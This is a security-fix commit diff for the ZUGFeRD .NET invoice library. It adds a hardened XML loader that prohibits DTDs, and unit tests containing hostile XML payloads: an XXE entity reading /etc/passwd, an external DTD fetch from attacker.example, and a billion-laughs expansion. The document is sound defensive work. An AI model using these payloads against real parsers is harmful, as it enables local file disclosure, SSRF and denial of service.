fix(security): harden XML loading against XXE and billion-laughs attacks

ZUGFeRD.Test/XmlSecurityTests.cs

@@ -0,0 +1,119 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+using System;
+using System.IO;
+using System.Text;
+using System.Xml;
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using s2industries.ZUGFeRD;
+
+namespace s2industries.ZUGFeRD.Test
+{
+    /// <summary>
+    /// Verifies that loading untrusted invoice XML is hardened against
+    /// XML External Entity (XXE) attacks and entity-expansion denial of service
+    /// ("billion laughs"). All reader Load() paths route through
+    /// <c>XmlSecurityHelper.LoadSecureDocument</c>, which prohibits DTDs entirely.
+    ///
+    /// The marker element &gt;urn:cen.eu:en16931:2017&lt; makes the version
+    /// auto-detection select the CII 2.x reader, so the hardened load path is exercised.
+    /// </summary>
+    [TestClass]
+    public class XmlSecurityTests
+    {
+        private static MemoryStream ToStream(string xml)
+        {
+            return new MemoryStream(Encoding.UTF8.GetBytes(xml));
+        }
+
+
+        [TestMethod]
+        public void Load_WithXxeExternalEntity_IsRejected()
+        {
+            // Classic XXE: tries to read a local file via an external entity.
+            // A hardened parser must refuse the DTD outright instead of resolving the entity.
+            string maliciousXml =
+                "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" +
+                "<!DOCTYPE root [ <!ENTITY xxe SYSTEM \"file:///etc/passwd\"> ]>" +
+                "<root><id>urn:cen.eu:en16931:2017</id><data>&xxe;</data></root>";
+
+            using (MemoryStream ms = ToStream(maliciousXml))
+            {
+                Assert.ThrowsException<XmlException>(() => InvoiceDescriptor.Load(ms));
+            }
+        } // !Load_WithXxeExternalEntity_IsRejected()
+
+
+        [TestMethod]
+        public void Load_WithExternalDtd_IsRejected()
+        {
+            // SSRF / external DTD fetch attempt.
+            string maliciousXml =
+                "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" +
+                "<!DOCTYPE root SYSTEM \"http://attacker.example/evil.dtd\">" +
+                "<root><id>urn:cen.eu:en16931:2017</id></root>";
+
+            using (MemoryStream ms = ToStream(maliciousXml))
+            {
+                Assert.ThrowsException<XmlException>(() => InvoiceDescriptor.Load(ms));
+            }
+        } // !Load_WithExternalDtd_IsRejected()
+
+
+        [TestMethod]
+        public void Load_WithBillionLaughs_IsRejected()
+        {
+            // Entity-expansion DoS. Prohibiting the DTD blocks the entity declarations
+            // before any expansion can happen.
+            string maliciousXml =
+                "<?xml version=\"1.0\"?>" +
+                "<!DOCTYPE lolz [" +
+                "  <!ENTITY lol \"lol\">" +
+                "  <!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">" +
+                "  <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">" +
+                "  <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">" +
+                "]>" +
+                "<lolz><id>urn:cen.eu:en16931:2017</id><data>&lol4;</data></lolz>";
+
+            using (MemoryStream ms = ToStream(maliciousXml))
+            {
+                Assert.ThrowsException<XmlException>(() => InvoiceDescriptor.Load(ms));
+            }
+        } // !Load_WithBillionLaughs_IsRejected()
+
+
+        [TestMethod]
+        public void Load_LegitimateInvoice_StillWorks()
+        {
+            // A valid invoice contains no DTD and must continue to load unchanged.
+            InvoiceDescriptor desc = new InvoiceProvider().CreateInvoice();
+
+            using (MemoryStream ms = new MemoryStream())
+            {
+                desc.Save(ms, ZUGFeRDVersion.Version23, Profile.Extended);
+                ms.Seek(0, SeekOrigin.Begin);
+
+                InvoiceDescriptor loaded = InvoiceDescriptor.Load(ms);
+
+                Assert.IsNotNull(loaded);
+                Assert.AreEqual(desc.InvoiceNo, loaded.InvoiceNo);
+            }
+        } // !Load_LegitimateInvoice_StillWorks()
+    }
+}

ZUGFeRD/InvoiceDescriptor1Reader.cs

@@ -52,8 +52,7 @@ public override InvoiceDescriptor Load(Stream stream)
                 throw new IllegalStreamException("Cannot read from stream");
             }
 
-            XmlDocument doc = new XmlDocument();
-            doc.Load(stream);
+            XmlDocument doc = XmlSecurityHelper.LoadSecureDocument(stream);
             XmlNamespaceManager nsmgr = _CreateFixedNamespaceManager(doc);
 
             if (!nsmgr.HasNamespace("rsm"))

ZUGFeRD/InvoiceDescriptor20Reader.cs

@@ -58,8 +58,7 @@ public override InvoiceDescriptor Load(Stream stream)
                 throw new IllegalStreamException("Cannot read from stream");
             }
 
-            XmlDocument doc = new XmlDocument();
-            doc.Load(stream);
+            XmlDocument doc = XmlSecurityHelper.LoadSecureDocument(stream);
             XmlNamespaceManager nsmgr = _CreateFixedNamespaceManager(doc);
 
             if (!nsmgr.HasNamespace("rsm"))

ZUGFeRD/InvoiceDescriptor22UblReader.cs

@@ -51,8 +51,7 @@ public override InvoiceDescriptor Load(Stream stream)
             string firstPartOfDocument = System.Text.Encoding.UTF8.GetString(firstPartOfDocumentBuffer);
             bool isInvoice = true;
 
-            XmlDocument doc = new XmlDocument();
-            doc.Load(stream);
+            XmlDocument doc = XmlSecurityHelper.LoadSecureDocument(stream);
             XmlNamespaceManager nsmgr = new XmlNamespaceManager(doc.DocumentElement.OwnerDocument.NameTable);
 
             if ((firstPartOfDocument.IndexOf("<CreditNote", StringComparison.OrdinalIgnoreCase) > -1) ||

ZUGFeRD/InvoiceDescriptor23CIIReader.cs

@@ -57,8 +57,7 @@ public override InvoiceDescriptor Load(Stream stream)
                 throw new IllegalStreamException("Cannot read from stream");
             }
 
-            XmlDocument doc = new XmlDocument();
-            doc.Load(stream);
+            XmlDocument doc = XmlSecurityHelper.LoadSecureDocument(stream);
             XmlNamespaceManager nsmgr = _CreateFixedNamespaceManager(doc);
 
             if (!nsmgr.HasNamespace("rsm"))

ZUGFeRD/XmlSecurityHelper.cs

@@ -0,0 +1,87 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+using System.IO;
+using System.Xml;
+
+namespace s2industries.ZUGFeRD
+{
+    /// <summary>
+    /// Central helper for loading untrusted XML in a hardened way.
+    ///
+    /// Invoice XML (ZUGFeRD / Factur-X / XRechnung) is frequently extracted from third-party
+    /// PDFs or received from external senders and must therefore be treated as untrusted input.
+    ///
+    /// The settings below protect against:
+    ///   * XML External Entity (XXE) attacks - local file disclosure and SSRF -
+    ///     by disabling the resolver (<see cref="XmlReaderSettings.XmlResolver"/> = null).
+    ///   * Entity-expansion denial of service ("billion laughs")
+    ///     by prohibiting document type definitions entirely
+    ///     (<see cref="DtdProcessing.Prohibit"/>), so no internal or external
+    ///     entities can be declared or expanded.
+    ///
+    /// Valid ZUGFeRD / Factur-X / XRechnung documents never contain a DTD, so legitimate
+    /// invoices are unaffected. A document that does contain a DTD is rejected with an
+    /// <see cref="XmlException"/> while parsing.
+    /// </summary>
+    internal static class XmlSecurityHelper
+    {
+        /// <summary>
+        /// Creates <see cref="XmlReaderSettings"/> hardened against XXE and entity-expansion DoS.
+        ///
+        /// CloseInput is left at its default (false) so the caller-owned stream is never
+        /// closed by the reader, preserving the public contract of the reader Load() methods.
+        /// </summary>
+        internal static XmlReaderSettings CreateSecureReaderSettings()
+        {
+            return new XmlReaderSettings
+            {
+                // Reject any DTD. This single setting blocks both external DTD/entity
+                // resolution (XXE) and internal entity expansion (billion laughs).
+                DtdProcessing = DtdProcessing.Prohibit,
+                // Belt-and-suspenders: never resolve external resources.
+                XmlResolver = null,
+                // Hard cap on characters produced from entity expansion. With DtdProcessing.Prohibit
+                // no custom entities can exist, but this stays as defense-in-depth.
+                MaxCharactersFromEntities = 1024
+            };
+        } // !CreateSecureReaderSettings()
+
+
+        /// <summary>
+        /// Loads an <see cref="XmlDocument"/> from the given (untrusted) stream using hardened settings.
+        /// The stream is not closed.
+        /// </summary>
+        internal static XmlDocument LoadSecureDocument(Stream stream)
+        {
+            XmlDocument doc = new XmlDocument
+            {
+                // Ensure the document itself never resolves external resources either
+                // (e.g. for any subsequent operation on the loaded document).
+                XmlResolver = null
+            };
+
+            using (XmlReader reader = XmlReader.Create(stream, CreateSecureReaderSettings()))
+            {
+                doc.Load(reader);
+            }
+
+            return doc;
+        } // !LoadSecureDocument()
+    }
+}